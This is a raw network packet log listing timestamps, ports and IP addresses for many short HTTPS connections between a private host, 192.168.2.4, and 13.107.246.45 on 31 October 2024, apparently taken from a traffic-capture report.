Oct 31, 2024 07:15:42.760454893 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.760468960 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.760554075 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.760747910 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.760756969 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.774713993 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.774734974 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.774768114 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.774847031 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.774921894 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.775080919 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.775089979 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.775099993 CET	49975	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.775103092 CET	443	49975	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.777129889 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.777163982 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:42.777246952 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.777414083 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:42.777427912 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.316382885 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.316941023 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.316972971 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.317379951 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.317392111 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.439554930 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.439997911 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.440012932 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.440378904 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.440382957 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.446959019 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.447010040 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.447082996 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.447226048 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.447238922 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.447267056 CET	49976	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.447273970 CET	443	49976	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.449887991 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.449915886 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.450016975 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.450186968 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.450200081 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.489279032 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.489954948 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.490040064 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.491008043 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.491025925 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.497097969 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.497461081 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.497468948 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.497818947 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.497823000 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.502216101 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.502490997 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.502512932 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.502917051 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.502922058 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.621592999 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.621699095 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.621783018 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.622168064 CET	49978	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.622200966 CET	443	49978	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.625432968 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.625505924 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.625627995 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.625691891 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.625691891 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.625739098 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.625780106 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.625844002 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.625855923 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.625868082 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.625878096 CET	49979	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.625881910 CET	443	49979	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.626766920 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.626785040 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.627868891 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.627885103 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.627952099 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.628057957 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.628066063 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.629914999 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.629975080 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.630022049 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.630081892 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.630093098 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.630101919 CET	49980	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.630105972 CET	443	49980	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.632426023 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.632432938 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.632536888 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.632713079 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.632723093 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.722909927 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.722986937 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.723057032 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.723071098 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.723087072 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.723150969 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.723275900 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.723284006 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.723293066 CET	49977	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.723297119 CET	443	49977	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.725565910 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.725581884 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:43.725660086 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.725779057 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:43.725790024 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.208610058 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.211304903 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.211318970 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.216267109 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.216273069 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.348454952 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.348507881 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.348572016 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.368742943 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.370084047 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.390324116 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.394088030 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.394102097 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.394716978 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.394722939 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.395119905 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.395133018 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.395144939 CET	49981	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.395148993 CET	443	49981	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.400434017 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.400441885 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.400826931 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.400830984 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.401230097 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.401237965 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.401587009 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.401591063 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.404781103 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.404794931 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.404853106 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.405322075 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.405333996 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.466890097 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.474370003 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.474390030 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.475040913 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.475048065 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.525012970 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.525300026 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.525361061 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.525403023 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.525418043 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.525450945 CET	49982	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.525456905 CET	443	49982	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.528052092 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.528120041 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.528181076 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.528192043 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.528234005 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.528281927 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.529414892 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.529422045 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.529432058 CET	49983	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.529436111 CET	443	49983	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.529685974 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.529706955 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.529774904 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.530862093 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.530922890 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.530977964 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.531516075 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.531529903 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.531816006 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.531820059 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.531832933 CET	49984	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.531836033 CET	443	49984	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.532772064 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.532802105 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.532874107 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.533236027 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.533247948 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.536092043 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.536176920 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.536269903 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.536608934 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.536642075 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.603121042 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.603271008 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.603331089 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.603504896 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.603516102 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.603527069 CET	49985	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.603530884 CET	443	49985	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.606785059 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.606807947 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:44.606875896 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.607243061 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:44.607253075 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.148435116 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.149260998 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.149282932 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.149702072 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.149705887 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.254740000 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.255232096 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.255273104 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.255628109 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.255642891 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.280955076 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.281001091 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.281064987 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.281208992 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.281223059 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.281230927 CET	49986	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.281234980 CET	443	49986	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.284156084 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.284208059 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.284312963 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.284542084 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.284569025 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.299041986 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.299710989 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.299726963 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.300091982 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.300096989 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.303419113 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.303811073 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.303822994 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.304167032 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.304172039 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.341773033 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.342223883 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.342242002 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.342628956 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.342633009 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.382781982 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.382829905 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.382951975 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.383410931 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.383465052 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.383498907 CET	49989	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.383514881 CET	443	49989	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.386490107 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.386508942 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.386600971 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.386781931 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.386790037 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.430619955 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.430794954 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.430907965 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.431225061 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.431252956 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.431267977 CET	49987	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.431286097 CET	443	49987	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.433690071 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.433721066 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.433799028 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.433991909 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.434007883 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.441000938 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.441071987 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.441132069 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.441266060 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.441274881 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.441284895 CET	49988	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.441288948 CET	443	49988	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.443522930 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.443543911 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.443620920 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.443793058 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.443798065 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.471856117 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.471998930 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.472063065 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.472124100 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.472134113 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.472143888 CET	49990	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.472147942 CET	443	49990	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.474397898 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.474431992 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:45.474519014 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.474684954 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:45.474703074 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.026341915 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.026913881 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.026957035 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.027364969 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.027379990 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.103693008 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.104233027 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.104244947 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.104943037 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.104947090 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.158612967 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.158643961 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.158679008 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.158696890 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.158750057 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.158857107 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.158858061 CET	49991	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.158888102 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.158910990 CET	443	49991	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.161593914 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.161617994 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.161689997 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.161866903 CET	49996	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.161879063 CET	443	49996	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.170905113 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.171264887 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.171277046 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.171811104 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.171816111 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.178204060 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.178675890 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.178693056 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.179028988 CET	49993	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.179033995 CET	443	49993	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.208380938 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.208766937 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.208791971 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.209144115 CET	49995	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.209151030 CET	443	49995	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.232841015 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.232880116 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.232934952 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.233129978 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.233136892 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.233148098 CET	49992	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.233151913 CET	443	49992	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.235997915 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.236041069 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.236135960 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.236310959 CET	49997	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.236329079 CET	443	49997	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.298893929 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.298970938 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.299072027 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.299530983 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.299539089 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.299571991 CET	49994	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.299576998 CET	443	49994	13.107.246.45	192.168.2.4
Oct 31, 2024 07:15:46.302383900 CET	49998	443	192.168.2.4	13.107.246.45
Oct 31, 2024 07:15:46.302401066 CET	443	49998	13.107.246.45	192.168.2.4
